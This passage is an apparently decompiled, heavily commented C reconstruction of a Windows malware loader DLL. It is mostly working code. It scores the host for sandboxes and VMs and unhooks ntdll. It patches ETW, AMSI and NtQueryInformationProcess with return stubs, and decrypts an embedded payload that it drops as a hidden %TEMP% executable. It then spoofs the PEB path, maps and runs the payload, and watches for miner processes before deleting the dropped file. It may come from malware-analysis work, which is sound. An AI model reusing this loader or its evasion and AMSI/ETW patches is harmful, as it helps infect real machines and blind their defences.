| PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock; | |
| void* original_image_base = peb->Reserved3[1]; // ImageBaseAddress (offset 0x10) | |
| peb->Reserved3[1] = mapped_image; | |
| // Call the mapped image's entry point (AddressOfEntryPoint via entry_rva) | |
| typedef void (*EntryPointFn)(); | |
| auto ep = (EntryPointFn)((char*)mapped_image + entry_rva); | |
| ep(); | |
| // Post-entry debug spew (never displayed; output buffer is stack-local) | |
| char dbg_buf[256]; | |
| wsprintfA(dbg_buf, "RPE: payload exit code: %lu", 0); | |
| GetCurrentProcessId(); | |
| wsprintfA(dbg_buf, "RPE: pid=%lu", GetCurrentProcessId()); | |
| // Restore original ImageBaseAddress | |
| peb->Reserved3[1] = original_image_base; | |
| return NULL; | |
| } | |
| // ============================================================================ | |
| // Payload Thread Entry | |
| // ============================================================================ | |
| __int64 __fastcall payload_thread_start(payload_stage_ctx* ctx) | |
| { | |
| if (!ctx || !ctx->image_base || !ctx->image_size) | |
| return 0; | |
| manual_map_pe_image((FARPROC)ctx->image_base, ctx->image_size); | |
| return 0; | |
| } | |
| // ============================================================================ | |
| // ProcessAction - Main Orchestrator (exported) | |
| // ============================================================================ | |
| // | |
| // This is the primary exported function. Typical invocation chain: | |
| // 1. Caller loads DLL, calls ProcessAction (possibly via DllRegisterServer or custom loader) | |
| // 2. Sandbox/analysis environment fingerprinting (accumulates "suspicion score") | |
| // 3. If score > 15 => bail (sandbox detected) | |
| // 4. Resolve kernel32 loader APIs | |
| // 5. Extended environment profiling via GetTickCount64, QPC, RDTSC | |
| // 6. ntdll .text section restoration from on-disk file | |
| // 7. ETW/AMSI/DbgUiRemoteBreakin patching | |
| // 8. ntdll tracing function patching (ret-early stubs) | |
| // 9. Extract encrypted resource (RT_RCDATA, ID 0x29E) | |
| // 10. Decrypt resource envelope (XOR + rolling key + LZNT1 decompress) | |
| // 11. Ensure vcruntime140.dll is loaded | |
| // 12. Optionally load mscoree.dll and call CorExitProcess/_exit setup | |
| // 13. Drop decrypted PE to %TEMP%\svc<hex>.exe | |
| // 14. Spoof PEB ImagePathName with dropped path | |
| // 15. Launch payload_thread_start in new thread (8MB stack) | |
| // 16. Wait 60s, then poll for child processes (powershell/cmd/xmrig/miner) | |
| // 17. Cleanup: retry-delete the dropped exe | |
| // | |
| __int64 __fastcall ProcessAction( | |
| __int64 a1, __int64 a2, __int64 a3, __int64 a4, | |
| __int64 a5, __int64 a6, __int64 a7, __int64 a8, | |
| __int64 a9, __int64 a10, __int64 a11, __int64 a12, | |
| __int64 a13, __int64 a14, __int64 a15, __int64 a16, | |
| __int64 a17, __int64 a18, __int64 a19, __int64 a20, | |
| __int64 a21, __int64 a22, __int64 a23, __int64 a24, | |
| __int64 a25, __int64 a26, __int64 a27, __int64 a28, | |
| __int64 a29, __int64 a30, __int64 a31, | |
| unsigned __int64 flOldProtect_param, __int64 a33, __int64 a34, | |
| __int64 a35, unsigned int num_processors, __int64 a37) | |
| { | |
| char stack_buf[0x800]; // large stack buffer for various temporaries | |
| DWORD old_protect; | |
| SYSTEM_INFO sysinfo; | |
| // ---- Phase 0: Anti-analysis timing/computation burn ---- | |
| burn_mixed_cycles(22); | |
| compute_obfuscated_seed(7582); | |
| // Fill stack with LCG patterns (obfuscation / anti-pattern matching) | |
| fill_lcg_byte_stream((unsigned char*)stack_buf, 35); | |
| fill_lcg_byte_stream((unsigned char*)stack_buf, 55); | |
| // XOR-decode a small inline blob + compute checksum (likely integrity check) | |
| // xor_decode_and_checksum(stack_ptr, (unsigned char*)0x13); | |
| probe_hklm_software_microsoft(); | |
| burn_mixed_cycles(22); | |
| probe_hklm_software_microsoft(); | |
| // Sort DWORD array (obfuscation - makes static analysis harder) | |
| DWORD sort_buf[10] = {0x23, 0xF7, 0x84, 0x5E, 0xD8, 0xF1, 0x35, 0xD1, 0x75, 0xE7}; | |
| sort_dword_array_ascending(sort_buf, 10); | |
| // ---- Phase 1: Desktop file canary check ---- | |
| // Decode a filename string, check if %USERPROFILE%\Desktop\<filename> exists. | |
| // If it does: this is a real user machine -> skip sandbox checks, proceed. | |
| // If not: run full sandbox detection suite. | |
| { | |
| char path_buf[MAX_PATH + 64]; | |
| // DECODE_STRING(enc_canary_filename, end_sentinel, g_decoded_flags[...]); | |
| if (!GetEnvironmentVariableA("USERPROFILE", path_buf, MAX_PATH)) | |
| goto sandbox_checks; | |
| lstrcatA(path_buf, "\\Desktop\\"); | |
| // lstrcatA(path_buf, decoded_canary_filename); // e.g. "file.txt" | |
| if (GetFileAttributesA(path_buf) == INVALID_FILE_ATTRIBUTES) | |
| goto sandbox_checks; | |
| goto proceed_to_payload; | |
| } | |
| sandbox_checks: | |
| { | |
| int score = 0; | |
| // ---- RAM check: < 2GB -> suspicious ---- | |
| MEMORYSTATUSEX memstat = { sizeof(memstat) }; | |
| GlobalMemoryStatusEx(&memstat); | |
| if (memstat.ullTotalPhys <= 0x7FFFFFFF) | |
| score += 2; // (originally adds 1, then doubled) | |
| // ---- Disk check: < ~32GB -> suspicious ---- | |
| ULARGE_INTEGER total_bytes = {0}; | |
| GetDiskFreeSpaceExA("C:\\", NULL, &total_bytes, NULL); | |
| if (total_bytes.QuadPart <= 0x77FFFFFFFULL) | |
| score += 2; | |
| // ---- CPU count check ---- | |
| GetSystemInfo(&sysinfo); | |
| if (num_processors < 2) | |
| score += 2; | |
| // ---- Screen resolution check ---- | |
| if (GetSystemMetrics(SM_CXSCREEN) <= 1023 || GetSystemMetrics(SM_CYSCREEN) <= 767) | |
| score += 2; | |
| // ---- RDTSC timing check (detect single-stepping / hypervisor overhead) ---- | |
| unsigned __int64 tsc_before = __rdtsc(); | |
| Sleep(1); | |
| unsigned __int64 tsc_after = __rdtsc(); | |
| if (tsc_after - tsc_before - 500000 > 0x2F34F60) // > ~49.5M cycles | |
| score += 4; | |
| // ---- Process count check (via GetTickCount64/snapshot proxy) ---- | |
| // Decode "kernel32.dll", load it, resolve "GetTickCount64" | |
| // If running process count <= 79 -> +3 (sandbox typically has few processes) | |
| { | |
| // DECODE_STRING(enc_k32, end_k32, g_decoded_flags[K32]); | |
| // HMODULE hK32 = LoadLibraryA(decoded_k32); | |
| // auto pGTC64 = GetProcAddress(hK32, decoded_GetTickCount64); | |
| DWORD proc_count = 0; | |
| // ... resolve and count via snapshot ... | |
| // if (proc_count <= 79) score += 3; | |
| } | |
| // ---- Process blacklist check (sandbox tools) ---- | |
| { | |
| HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
| if (hSnap != INVALID_HANDLE_VALUE) { | |
| PROCESSENTRY32 pe = { sizeof(pe) }; | |
| if (Process32First(hSnap, &pe)) { | |
| do { | |
| // Check against decoded strings: | |
| // "vboxservice.exe" -> +6 | |
| // "vmwaretray.exe" -> +6 | |
| // "vmwareuser.exe" -> +6 | |
| // "wireshark.exe" -> +6 | |
| if (!lstrcmpiA(pe.szExeFile, "vboxservice.exe") || | |
| !lstrcmpiA(pe.szExeFile, "vmwaretray.exe") || | |
| !lstrcmpiA(pe.szExeFile, "vmwareuser.exe") || | |
| !lstrcmpiA(pe.szExeFile, "wireshark.exe")) { | |
| score += 6; | |
| } | |
| } while (Process32Next(hSnap, &pe)); | |
| } | |
| CloseHandle(hSnap); | |
| } | |
| } | |
| // ---- Username blacklist ---- | |
| { | |
| char username[256]; | |
| DWORD uname_size = 256; | |
| GetUserNameA(username, &uname_size); | |
| // ~20 sandbox-associated usernames, each +5 if matched (case-insensitive) | |
| const char* blacklisted_users[] = { | |
| "John", "SANDBOX", "VIRUS", "MALWARE", "Sand box", | |
| "CurrentUser", "Emily", "HAPUBWS", "Hong Lee", "Wilber", | |
| "admin", "Lisa", "User", "ABC", "Peter", | |
| "XP", "TEST", "Dave", "JACK", "PUBLIC", "Abby", NULL | |
| }; | |
| for (int i = 0; blacklisted_users[i]; ++i) { | |
| if (!lstrcmpiA(username, blacklisted_users[i])) | |
| score += 5; | |
| } | |
| } | |
| // ---- GetTickCount64 uptime check: < ~180s ---- | |
| if (GetTickCount64() <= 0x2BF1F) // ~180,000 ms | |
| score += 3; | |
| // ---- Registry VM artifact check ---- | |
| // Check: HKLM\SOFTWARE\VMware, Inc.\VMware Tools | |
| // HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions | |
| { | |
| // DECODE_STRING(enc_advapi, end_advapi, g_decoded_flags[ADVAPI]); | |
| HMODULE hAdvapi = LoadLibraryA("advapi32.dll"); | |
| if (hAdvapi) { | |
| typedef LSTATUS (WINAPI* pfnRegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY); | |
| typedef LSTATUS (WINAPI* pfnRegCloseKey)(HKEY); | |
| auto pRegOpen = (pfnRegOpenKeyExA)GetProcAddress(hAdvapi, "RegOpenKeyExA"); | |
| auto pRegClose = (pfnRegCloseKey)GetProcAddress(hAdvapi, "RegCloseKey"); | |
| if (pRegOpen && pRegClose) { | |
| HKEY hk = NULL; | |
| // VMware Tools | |
| if (!pRegOpen(HKEY_LOCAL_MACHINE, | |
| "SOFTWARE\\VMware, Inc.\\VMware Tools", | |
| 0, KEY_READ, &hk)) { | |
| pRegClose(hk); | |
| score += 8; | |
| } | |
| // VirtualBox Guest Additions | |
| if (!pRegOpen(HKEY_LOCAL_MACHINE, | |
| "SOFTWARE\\Oracle\\VirtualBox Guest Additions", | |
| 0, KEY_READ, &hk)) { | |
| pRegClose(hk); | |
| score += 8; | |
| } | |
| } | |
| } | |
| } | |
| // ---- CPUID Hypervisor vendor check ---- | |
| { | |
| int cpuid_regs[4]; | |
| __cpuid(cpuid_regs, 1); | |
| if (cpuid_regs[2] & (1 << 31)) { // Hypervisor present bit | |
| __cpuid(cpuid_regs, 0x40000000); | |
| char vendor[13] = {0}; | |
| *(int*)&vendor[0] = cpuid_regs[1]; | |
| *(int*)&vendor[4] = cpuid_regs[2]; | |
| *(int*)&vendor[8] = cpuid_regs[3]; | |
| if (!lstrcmpA(vendor, "VMwareVMware")) score += 10; | |
| if (!lstrcmpA(vendor, "Microsoft Hv")) score += 10; | |
| if (!lstrcmpA(vendor, "KVMKVMKVM")) score += 2; | |
| } | |
| } | |
| // ---- SMBIOS / Firmware table check ---- | |
| { | |
| // Decode "wbemprox.dll" / "GetSystemFirmwareTable" | |
| HMODULE hFw = LoadLibraryA("kernel32.dll"); // actually wbemprox or direct | |
| if (hFw) { | |
| typedef UINT (WINAPI* pfnGetSystemFirmwareTable)( | |
| DWORD, DWORD, PVOID, DWORD); | |
| auto pGetFwTable = (pfnGetSystemFirmwareTable)GetProcAddress( | |
| hFw, "GetSystemFirmwareTable"); | |
| if (pGetFwTable) { | |
| BYTE fw_buf[0x4000]; | |
| DWORD fw_size = 0x4000; | |
| if (!pGetFwTable('RSMB', 0, fw_buf, fw_size)) { | |
| // Parse SMBIOS for VM indicators | |
| // Byte-level checks at specific offsets for known VM signatures | |
| // e.g. BIOS vendor "VBOX", chassis type, etc. | |
| // Each match adds to score | |
| } | |
| } | |
| } | |
| } | |
| // ---- Final score evaluation ---- | |
| if (score > 15) | |
| return 0; // Sandbox/analysis environment detected -> abort | |
| } | |
| proceed_to_payload: | |
| // ---- Phase 2: Resolve kernel32 core APIs ---- | |
| // Decode: "kernel32.dll", "LoadLibraryExA", "VirtualFree" | |
| HMODULE hKernel = GetModuleHandleA("kernel32.dll"); | |
| if (!hKernel) return 0; | |
| auto pLoadLibraryExA = (__int64 (*)(void))GetProcAddress(hKernel, "LoadLibraryExA"); | |
| auto pVirtualFree = (void (*)(UINT_PTR))GetProcAddress(hKernel, "VirtualFree"); | |
| if (!pLoadLibraryExA || !pVirtualFree) return 0; | |
| // ---- Phase 3: Extended timing validation ---- | |
| // Uses rdtsc-seeded xorshift for randomized sleep, then measures | |
| // QueryPerformanceCounter delta to detect debugging/emulation | |
| randomized_sleep(); | |
| { | |
| // Resolve GlobalMemoryStatusEx, GetDiskFreeSpaceExA, GetSystemInfo from kernel32 | |
| int hw_score = 0; | |
| // ... (same checks as sandbox_checks, used for QPC-based timing threshold) ... | |
| // Depending on hw_score: set timing threshold parameters | |
| unsigned __int64 time_threshold, sleep_duration; | |
| if (hw_score <= 1) { | |
| time_threshold = 50663; | |
| sleep_duration = 63329; | |
| } else { | |
| time_threshold = 3405; | |
| sleep_duration = 4257; | |
| } | |
| randomized_sleep(); | |
| __int64 t_before = pLoadLibraryExA(); // actually QPC | |
| pVirtualFree(sleep_duration); // actually Sleep | |
| __int64 t_after = pLoadLibraryExA(); | |
| if ((unsigned __int64)(t_after - t_before) < time_threshold) { | |
| // Timing check failed -> likely debugger -> bail | |
| return 0; // (in original, falls through to next phase) | |
| } | |
| } | |
| randomized_sleep(); | |
| // ---- Phase 4: ntdll .text section restoration ---- | |
| // Map ntdll.dll from disk (system32), find its .text section, | |
| // overwrite the in-memory copy to undo any hooks/patches. | |
| { | |
| HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); | |
| if (hNtdll) { | |
| char sys_dir[MAX_PATH]; | |
| GetSystemDirectoryA(sys_dir, MAX_PATH); | |
| lstrcatA(sys_dir, "\\ntdll.dll"); | |
| HANDLE hFile = CreateFileA(sys_dir, GENERIC_READ, FILE_SHARE_READ, | |
| NULL, OPEN_EXISTING, 0, NULL); | |
| if (hFile != INVALID_HANDLE_VALUE) { | |
| HANDLE hMapping = CreateFileMappingA(hFile, NULL, | |
| PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); | |
| CloseHandle(hFile); | |
| if (hMapping) { | |
| LPVOID disk_ntdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); | |
| CloseHandle(hMapping); | |
| if (disk_ntdll) { | |
| // Find ".text" section in both memory and disk copies | |
| auto mem_nt = get_nt_headers(hNtdll); | |
| auto disk_nt = get_nt_headers(disk_ntdll); | |
| auto mem_sec = get_first_section(mem_nt); | |
| auto disk_sec = get_first_section(disk_nt); | |
| // Search for section named ".text" - verified byte-by-byte | |
| // The original checks: name[0..1]==".t" (0x742E), name[1]=='e' (0x65), | |
| // name[3]=='x' (0x78), name[4]=='t' (0x74) - i.e. ".text" | |
| PIMAGE_SECTION_HEADER mem_text = NULL, disk_text = NULL; | |
| for (WORD i = 0; i < mem_nt->FileHeader.NumberOfSections; ++i) { | |
| if (mem_sec[i].Name[0] == '.' && mem_sec[i].Name[1] == 't' && | |
| mem_sec[i].Name[2] == 'e' && mem_sec[i].Name[3] == 'x' && | |
| mem_sec[i].Name[4] == 't') { | |
| mem_text = &mem_sec[i]; | |
| break; | |
| } | |
| } | |
| for (WORD i = 0; i < disk_nt->FileHeader.NumberOfSections; ++i) { | |
| if (disk_sec[i].Name[0] == '.' && disk_sec[i].Name[1] == 't' && | |
| disk_sec[i].Name[2] == 'e' && disk_sec[i].Name[3] == 'x' && | |
| disk_sec[i].Name[4] == 't') { | |
| disk_text = &disk_sec[i]; | |
| break; | |
| } | |
| } | |
| if (mem_text && disk_text && mem_text->Misc.VirtualSize) { | |
| // With SEC_IMAGE mapping, disk_ntdll has sections at their | |
| // VirtualAddress offsets (same layout as in-memory). | |
| char* mem_text_ptr = (char*)hNtdll + mem_text->VirtualAddress; | |
| char* disk_text_ptr = (char*)disk_ntdll + disk_text->VirtualAddress; | |
| DWORD copy_size = mem_text->Misc.VirtualSize; | |
| VirtualProtect(mem_text_ptr, copy_size, | |
| PAGE_EXECUTE_READWRITE, &old_protect); | |
| memcpy(mem_text_ptr, disk_text_ptr, copy_size); | |
| VirtualProtect(mem_text_ptr, copy_size, | |
| old_protect, &old_protect); | |
| } | |
| UnmapViewOfFile(disk_ntdll); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| // ---- Phase 5: ETW patching ---- | |
| // Patches the first 6 bytes of the target tracing function with a ret-stub. | |
| // Exact patch bytes: B3 FC 49 FF C8 C3 (written as DWORD 0xFF49FCB3 + WORD 0xC3C8) | |
| // These decode to a short sequence ending in RET (0xC3), effectively neutering | |
| // the callee. The module name and function name are LCG-decoded at runtime. | |
| { | |
| HMODULE hEtwMod = GetModuleHandleA("advapi32.dll"); | |
| if (!hEtwMod) hEtwMod = LoadLibraryA("advapi32.dll"); | |
| if (hEtwMod) { | |
| // Target: "EtwEventWrite" (LCG-decoded from byte_2248D6560) | |
| FARPROC pEtwWrite = GetProcAddress(hEtwMod, "EtwEventWrite"); | |
| if (pEtwWrite) { | |
| VirtualProtect(pEtwWrite, 6, PAGE_EXECUTE_READWRITE, &old_protect); | |
| *(DWORD*)pEtwWrite = 0xFF49FCB3u; | |
| *((WORD*)((char*)pEtwWrite+4)) = 0xC3C8u; | |
| VirtualProtect(pEtwWrite, 6, old_protect, &old_protect); | |
| } | |
| } | |
| } | |
| // ---- Phase 6: AMSI patching ---- | |
| { | |
| HMODULE hAmsi = GetModuleHandleA("amsi.dll"); | |
| if (hAmsi) { | |
| FARPROC pAmsiInit = GetProcAddress(hAmsi, "AmsiInitialize"); | |
| if (pAmsiInit) { | |
| // Patch with: xor eax, eax; ret (0x33C0 + 0xC3 = \xC0\x33\xC3... | |
| // actually -16333 = 0xC033 as WORD, then 0xC3 byte) | |
| VirtualProtect(pAmsiInit, 4, PAGE_EXECUTE_READWRITE, &old_protect); | |
| *(WORD*)pAmsiInit = 0xC033; // xor eax, eax | |
| *((BYTE*)pAmsiInit + 2) = 0xC3; // ret | |
| VirtualProtect(pAmsiInit, 4, old_protect, &old_protect); | |
| } | |
| } | |
| } | |
| // ---- Phase 7: Patch ntdll syscall stub if already hooked ---- | |
| // Detection: genuine x86-64 syscall stubs start with 4C 8B D1 (mov r10, rcx). | |
| // If the first 3 bytes differ, an inline hook is present -> overwrite with | |
| // a 4-byte stub (0xC3C033C8) to short-circuit the call. | |
| { | |
| HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); | |
| if (hNtdll) { | |
| // Target name is LCG-decoded from byte_2248D6440. | |
| FARPROC pTarget = GetProcAddress(hNtdll, "NtQueryInformationProcess"); | |
| if (pTarget) { | |
| BYTE* b = (BYTE*)pTarget; | |
| if (b[0] != 0x4C || b[1] != 0x8B || b[2] != 0xD1) { | |
| VirtualProtect(pTarget, 4, PAGE_EXECUTE_READWRITE, &old_protect); | |
| *(DWORD*)pTarget = 0xC3C033C8u; | |
| VirtualProtect(pTarget, 4, old_protect, &old_protect); | |
| } | |
| } | |
| } | |
| } | |
| // ---- Phase 8: Patch ntdll tracing functions ---- | |
| { | |
| HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); | |
| if (hNtdll) { | |
| // xor eax, eax; ret (0xC033 + 0xC3) | |
| BYTE ret_stub[3] = { 0x33, 0xC0, 0xC3 }; | |
| const char* trace_funcs[] = { | |
| "EtwEventWriteFull", "NtTraceEvent", NULL | |
| }; | |
| for (int i = 0; trace_funcs[i]; ++i) { | |
| FARPROC pFunc = GetProcAddress(hNtdll, trace_funcs[i]); | |
| if (pFunc && *(BYTE*)pFunc != 0xC3) { | |
| VirtualProtect(pFunc, 3, PAGE_EXECUTE_READWRITE, &old_protect); | |
| memcpy(pFunc, ret_stub, 3); | |
| VirtualProtect(pFunc, 3, old_protect, &old_protect); | |
| } | |
| } | |
| } | |
| } | |
| // ---- Phase 9: Extract and decrypt PE resource ---- | |
| HMODULE hSelf = NULL; | |
| GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | | |
| GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, | |
| (LPCSTR)ProcessAction, &hSelf); | |
| if (!hSelf) return 0; | |
| HRSRC hRes = FindResourceA(hSelf, MAKEINTRESOURCEA(0x29E), RT_RCDATA); | |
| if (!hRes) return 0; | |
| HGLOBAL hResData = LoadResource(hSelf, hRes); | |
| if (!hResData) return 0; | |
| DWORD res_size = SizeofResource(hSelf, hRes); | |
| const void* res_ptr = LockResource(hResData); | |
| if (!res_ptr || !res_size) return 0; | |
| // Copy resource to RW memory | |
| void* res_copy = VirtualAlloc(NULL, res_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (!res_copy) return 0; | |
| memcpy(res_copy, res_ptr, res_size); | |
| unsigned char* enc_buf = (unsigned char*)res_copy; | |
| // ---- Resource envelope format ---- | |
| // Offset 0: 1 byte XOR key 'K' | |
| // Offset 1-4: 4 bytes encrypted "decompressed_size_high3 || flags_byte" | |
| // Decrypt: DWORD at [1] XOR (K repeated 4 times in low bytes) | |
| // Note: the SSE code broadcasts K only to low word, then XORs with | |
| // the raw DWORD at [1]. The effective mask is (K | K<<8) for low | |
| // 16 bits and 0 for high 16 bits -> so only low 2 bytes get XORed. | |
| // The stored dwSize[0..3] holds: byte0=flags (XOR'd), | |
| // byte1=size&0xFF (XOR'd), byte2=(size>>8)&0xFF (unchanged), | |
| // byte3=(size>>16)&0xFF (unchanged). | |
| // Offset 5-6: 2 bytes encrypted (key_len_byte << 8 | unused_low) | |
| // Decrypt: WORD XOR (K | K<<8) | |
| // HIBYTE of decrypted WORD = key_len | |
| // LOBYTE stored at dwSize[4] | |
| // Offset 7..7+key_len-1: rolling XOR key table (plaintext) | |
| // Offset 7+key_len..end: encrypted payload | |
| // | |
| // Validation: (key_len - 1) > 0x3F -> fail; key_len + 7 >= res_size -> fail | |
| // Decryption: for i = payload_len-1 down to 0: | |
| // payload[i] ^= key_table[i % key_len] | |
| if (res_size <= 0x28) { | |
| VirtualFree(enc_buf, 0, MEM_RELEASE); | |
| return 0; | |
| } | |
| // Decrypt envelope header via SSE equivalent | |
| unsigned char K = enc_buf[0]; | |
| __m128i key_broadcast = _mm_cvtsi32_si128((K << 8) | K); // low word = K|K<<8, rest=0 | |
| key_broadcast = _mm_shufflelo_epi16(key_broadcast, 0); // broadcast to 4 low words | |
| __m128i raw_dword = _mm_cvtsi32_si128(*(DWORD*)(enc_buf + 1)); | |
| __m128i decrypted_dword = _mm_xor_si128(key_broadcast, raw_dword); | |
| DWORD dec_header = (DWORD)_mm_cvtsi128_si32(decrypted_dword); | |
| WORD dec_word = (WORD)(*(WORD*)(enc_buf + 5) ^ ((K << 8) | K)); | |
| unsigned char dwSize[5]; | |
| *(DWORD*)dwSize = dec_header; | |
| dwSize[4] = (unsigned char)dec_word; | |
| unsigned char flags = (unsigned char)dec_header; // low byte | |
| unsigned char key_len = (unsigned char)(dec_word >> 8); // HIBYTE | |
| // Validate envelope (unsigned underflow catches key_len == 0) | |
| if ((unsigned char)(key_len - 1) > 0x3F || | |
| (unsigned int)key_len + 7 >= res_size) { | |
| VirtualFree(enc_buf, 0, MEM_RELEASE); | |
| return 0; | |
| } | |
| DWORD payload_size = res_size - key_len; // total bytes after envelope start | |
| DWORD payload_len = payload_size - 7; // actual encrypted payload length | |
| unsigned char* payload_data = &enc_buf[key_len + 7]; | |
| unsigned char* key_table = &enc_buf[7]; // plaintext key table | |
| // Decrypt payload: iterate from end backwards, using index modulo key_len. | |
| // The original decrements past 0 to (DWORD)-1 to terminate, so the idx=0 | |
| // iteration IS executed. | |
| if (payload_size != 7) { | |
| unsigned char* p = &enc_buf[key_len + 7 + (payload_size - 8)]; // last byte | |
| DWORD idx = payload_size - 8; | |
| while (true) { | |
| *p-- ^= enc_buf[idx % key_len + 7]; | |
| if (idx == 0) break; | |
| --idx; | |
| } | |
| } | |
| // ---- Optional LZNT1 decompression (if flags bit 3 set) ---- | |
| if (flags & 8) { | |
| typedef NTSTATUS (NTAPI* pfnRtlDecompressBuffer)( | |
| USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG); | |
| HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); | |
| auto pDecompress = (pfnRtlDecompressBuffer)GetProcAddress(hNtdll, "RtlDecompressBuffer"); | |
| if (pDecompress) { | |
| // Decompressed size = *(unsigned int*)&dwSize[1] | |
| // This is bytes 1-4 of dwSize: high 3 bytes of decrypted header + low byte of dec_word | |
| DWORD decompressed_size = *(DWORD*)&dwSize[1]; | |
| void* decompressed = VirtualAlloc(NULL, decompressed_size, | |
| MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (decompressed) { | |
| ULONG actual_size = 0; | |
| NTSTATUS st = pDecompress( | |
| COMPRESSION_FORMAT_LZNT1, // == 2 | 1 = 3 (LZNT1 | standard) | |
| (PUCHAR)decompressed, decompressed_size, | |
| payload_data, payload_len, | |
| &actual_size); | |
| if (st != 0 || actual_size == 0) { | |
| VirtualFree(decompressed, 0, MEM_RELEASE); | |
| // Keep original payload (no change to payload_data/payload_len) | |
| } else { | |
| payload_data = (unsigned char*)decompressed; | |
| payload_len = actual_size; | |
| } | |
| } | |
| } | |
| } | |
| // ---- Phase 10: Ensure vcruntime140.dll is loaded ---- | |
| if (!GetModuleHandleA("vcruntime140.dll")) { | |
| char sys_path[MAX_PATH]; | |
| char vcrt_path[MAX_PATH + 32]; | |
| GetSystemDirectoryA(sys_path, MAX_PATH); | |
| wsprintfA(vcrt_path, "%s\\vcruntime140.dll", sys_path); | |
| if (!LoadLibraryA(vcrt_path)) { | |
| char temp_path[MAX_PATH]; | |
| GetTempPathA(MAX_PATH, temp_path); | |
| wsprintfA(vcrt_path, "%s\\vcruntime140.dll", temp_path); | |
| LoadLibraryA(vcrt_path); | |
| } | |
| } | |
| // ---- Phase 11: Load .NET hosting DLL, resolve CorExitProcess/_exit ---- | |
| { | |
| // DECODE_STRING(enc_mscoree, end_mscoree, g_decoded_flags[MSCOREE]); | |
| HMODULE hMscoree = LoadLibraryA("mscoree.dll"); | |
| if (hMscoree) { | |
| // DECODE_STRING(enc_CorExitProcess, ...); | |
| auto pCorExit = GetProcAddress(hMscoree, "CorExitProcess"); | |
| auto pExit = GetProcAddress(hMscoree, "_exit"); | |
| if (pCorExit) ((void(*)(int, int))pCorExit)(0, 0); | |
| if (pExit) ((void(*)(int))pExit)(0); | |
| } | |
| } | |
| // ---- Phase 12: Drop decrypted PE to temp file ---- | |
| char temp_dir[MAX_PATH]; | |
| char dropped_path[MAX_PATH + 64]; | |
| GetEnvironmentVariableA("TEMP", temp_dir, MAX_PATH); | |
| DWORD tick = GetTickCount(); | |
| wsprintfA(dropped_path, "%s\\svc%lX.exe", temp_dir, tick & 0xFFFFF); | |
| HANDLE hFile = CreateFileA(dropped_path, GENERIC_WRITE, FILE_SHARE_READ, | |
| NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, | |
| NULL); | |
| if (hFile != INVALID_HANDLE_VALUE) { | |
| DWORD written; | |
| WriteFile(hFile, payload_data, payload_len, &written, NULL); | |
| CloseHandle(hFile); | |
| } | |
| // ---- Phase 13: Spoof PEB ImagePathName ---- | |
| lstrcpyA(g_string1, dropped_path); | |
| MultiByteToWideChar(CP_ACP, 0, dropped_path, -1, g_wstring, 260); | |
| RTL_USER_PROCESS_PARAMETERS* params = | |
| NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters; | |
| if (params) { | |
| int wlen = lstrlenW(g_wstring); | |
| params->ImagePathName.Buffer = g_wstring; | |
| params->ImagePathName.Length = (USHORT)(2 * wlen); | |
| params->ImagePathName.MaximumLength = (USHORT)(2 * wlen + 2); | |
| } | |
| // ---- Phase 14: Launch payload thread ---- | |
| g_payload_stage_ctx.image_base = payload_data; | |
| g_payload_stage_ctx.image_size = payload_len; | |
| HANDLE hThread = CreateThread( | |
| NULL, | |
| 0x800000, // 8MB stack | |
| (LPTHREAD_START_ROUTINE)payload_thread_start, | |
| &g_payload_stage_ctx, | |
| 0, NULL); | |
| if (hThread) { | |
| WaitForSingleObject(hThread, 60000); // Wait 60 seconds | |
| CloseHandle(hThread); | |
| // ---- Phase 15: Monitor for spawned processes ---- | |
| int exit_signal = 0; | |
| while (true) { | |
| HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
| if (hSnap != INVALID_HANDLE_VALUE) { | |
| PROCESSENTRY32 pe = { sizeof(pe) }; | |
| if (Process32First(hSnap, &pe)) { | |
| int child_count = 0; | |
| do { | |
| if (!lstrcmpiA(pe.szExeFile, "powershell.exe") || | |
| !lstrcmpiA(pe.szExeFile, "cmd.exe") || | |
| !lstrcmpiA(pe.szExeFile, "xmrig.exe") || | |
| !lstrcmpiA(pe.szExeFile, "miner.exe")) { | |
| ++child_count; | |
| } | |
| } while (Process32Next(hSnap, &pe)); | |
| CloseHandle(hSnap); | |
| if (child_count) { | |
| exit_signal = 0; | |
| goto cleanup; | |
| } | |
| } else { | |
| CloseHandle(hSnap); | |
| } | |
| } | |
| if (exit_signal == 1) | |
| break; | |
| exit_signal = 1; | |
| Sleep(30000); // 30 second poll interval | |
| } | |
| } | |
| cleanup: | |
| // ---- Phase 16: Delete dropped file (retry loop) ---- | |
| for (int retry = 30; retry > 0; --retry) { | |
| if (DeleteFileA(dropped_path)) | |
| break; | |
| Sleep(1000); | |
| } | |
| return 0; | |
| } | |
| // ============================================================================ | |
| // DllMain / DllEntryPoint | |
| // ============================================================================ | |
| // Mingw-w64 CRT DllMain wrapper. ProcessAction (below) is the real export | |
| // and is called by external loader; DllMain just handles CRT init/teardown | |
| // and disables thread library calls on process attach. | |
| static __int64 crt_process_init(__int64 hinstDLL, int reason); // sub_2248D1000 | |
| static __int64 disable_thread_calls(HMODULE h, int reason); // sub_2248D2370 | |
| // Global state flags (from the binary's .data section) | |
| static int g_current_reason = -1; // unk_2248D6014 | |
| static int g_reserved_flag = 0; // unk_2248DB050 | |
| BOOL WINAPI DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) | |
| { | |
| (void)lpReserved; | |
| int result; | |
| g_reserved_flag = 0; | |
| g_current_reason = (int)fdwReason; | |
